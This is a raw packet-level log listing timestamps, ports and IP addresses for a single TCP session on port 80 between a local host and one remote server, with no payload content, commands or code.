Oct 21, 2024 09:06:16.853797913 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:16.853826046 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:16.853852987 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:16.853872061 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:16.853903055 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:16.854278088 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:16.854310036 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:16.854341030 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:16.854361057 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:16.854383945 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:16.854430914 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.007119894 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.007235050 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.007258892 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.007277012 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.007314920 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.007652044 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.007739067 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.011995077 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.012028933 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.012054920 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.012089968 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.012216091 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.012274027 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.012510061 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.012729883 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.016786098 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.016819000 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.016840935 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.016868114 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.017570019 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.017605066 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.017630100 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.017659903 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.021560907 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.021595001 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.021627903 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.021660089 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.021687984 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.022362947 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.022398949 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.022427082 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.024149895 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.026385069 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.026418924 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.026451111 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.026504040 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.026534081 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.027132034 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.027165890 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.027231932 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.031146049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.031178951 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.031249046 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.161546946 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.161628962 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.161679983 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.161777973 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.161854029 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.161887884 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.161925077 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.161958933 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.162208080 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.162240028 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.162276030 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.162305117 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.162305117 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.162327051 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.162879944 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.162914038 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.162947893 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.162986040 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.162986040 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.163012028 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.163436890 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.163465977 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.163497925 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.163522959 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.163554907 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.163587093 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.163639069 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.164141893 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.164171934 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.164222002 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.164246082 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.164246082 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.164282084 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.164376974 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.164923906 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.164980888 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.164999962 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.165038109 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.165051937 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.165086031 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.165103912 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.165153980 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.165649891 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.165684938 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.165716887 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.165738106 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.165760040 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.165813923 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.166387081 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.166420937 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.166448116 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.166474104 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.166508913 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.166528940 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.166548967 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.166635036 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.167150021 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.167184114 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.167206049 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.167237043 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.167259932 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.167843103 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.167884111 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.167918921 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.167937994 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.168034077 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.168066978 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.168167114 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.168685913 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.168720007 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.168745041 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.168780088 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.168806076 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.168894053 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.168942928 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.169584990 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.169620037 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.169656992 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.169677019 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.169698000 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.169960976 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.282020092 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.282094002 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.282110929 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.282151937 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.282180071 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.282238007 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.282399893 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.282434940 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.282491922 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.282748938 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.282783985 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.282843113 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.316128969 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.316210032 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.316351891 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.316410065 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.316423893 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.316468000 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.316495895 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.316529036 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.316549063 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.316574097 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.316602945 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.316637039 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.316658020 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.316689968 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.317466974 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.317500114 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.317569971 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.317625046 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.317657948 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.317711115 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.318062067 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.318094969 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.318133116 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.318154097 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.318195105 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.318208933 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.318247080 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.318967104 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.319000006 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.319041967 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.319077015 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.319077969 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.319097996 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.319128990 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.319195986 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.319559097 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.319591045 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.319622040 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.319645882 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.319665909 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.319699049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.319752932 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.320444107 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.320476055 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.320514917 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.320539951 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.320564985 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.320597887 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.320617914 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.320664883 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.321239948 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.321271896 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.321297884 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.321324110 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.321346998 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.321378946 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.321398973 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.321449995 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.322128057 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.322160959 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.322194099 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.322225094 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.322261095 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.322277069 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.322325945 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.327495098 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.327574015 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.327629089 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.327676058 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.402435064 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.402471066 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.402506113 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.402543068 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.402585030 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.402915001 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.402945995 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.402972937 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.402992010 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.403018951 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.403054953 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.403078079 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.403106928 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.403614044 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.403732061 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.436469078 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.436553955 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.436614037 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.436645985 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.436675072 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.436700106 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.437030077 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.437063932 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.437094927 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.437115908 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.437141895 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.437176943 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.437232971 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.437942982 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.437972069 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.438004971 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.438036919 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.438056946 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.438090086 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.438114882 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.438141108 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.438169956 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.438417912 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.438776016 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.438808918 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.438832045 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.438859940 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.438883066 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.438919067 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.438939095 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.438985109 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.439599991 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.439632893 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.439668894 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.439687967 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.439703941 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.439752102 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.439802885 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.440557003 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.440603018 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.440634012 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.440660000 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.440690041 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.440711975 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.440763950 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.441461086 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.441493988 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.441534996 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.441555023 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.441581964 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.441617966 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.441639900 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.441670895 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.441692114 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.441823006 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.442399025 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.442431927 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.442461014 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.442481995 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.442507029 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.442538977 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.442591906 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.443378925 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.443435907 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.443449020 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.443487883 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.443500996 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.443533897 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.443566084 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.443603992 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.447797060 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.447868109 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.447926044 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.447959900 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.448012114 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.448184967 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.448237896 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.523008108 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.523087978 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.523111105 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.523127079 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.523153067 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.523178101 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.523365021 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.523382902 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.523433924 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.523761034 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.523777008 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.523792028 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.523818016 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.523843050 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.524296999 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.524354935 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.557112932 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.557360888 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.557387114 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.557440042 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.557460070 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.557512045 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:17.557641983 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.557674885 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:17.557717085 CEST	80	49730	185.215.113.37	192.168.2.4
